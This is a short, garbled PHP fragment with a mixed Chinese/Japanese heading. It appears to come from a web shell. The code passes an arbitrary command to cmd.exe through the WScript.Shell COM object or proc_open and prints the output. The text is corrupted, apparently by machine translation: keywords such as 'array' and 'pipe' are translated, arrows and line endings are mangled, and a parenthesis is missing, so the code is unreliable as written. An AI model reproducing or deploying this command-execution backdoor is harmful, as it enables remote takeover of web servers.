/php调用com 構成wscript.shell执実行dosコマンド
p('
');
if ($execfunc=='wscript' && IS_WIN && IS_COM ) {
$wsh = new COM('WScript.shell');
$exec = $wsh->gt;exec('cmd.exe /c '.$command);
$stdout = $exec->StdOut( );
$stroutput = $stdout->ReadAll();
echo $stroutput;
} elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
$descriptorspec = array(
0 => array( 'パイプ', 'r'),
1 => 配列('パイプ', 'w'),
2 => 配列('パイプ', 'w')
$process = proc_open($ _SERVER['COMSPEC'], $descriptorspec, $pipes);
if (is_resource($process)) {
fwrite($pipes[0], $command."rn");
fwrite($pipes[0], "exitrn");
fclose($pipes[0]);
while (!feof($pipes[1])) {
echo fgets($pipes[1], 1024);
}
fclose($pipes[ 1]);
while (!feof($pipes[2])) {
echo fgets($pipes[2], 1024);
}
fclose($pipes[2]);
proc_close($process);
}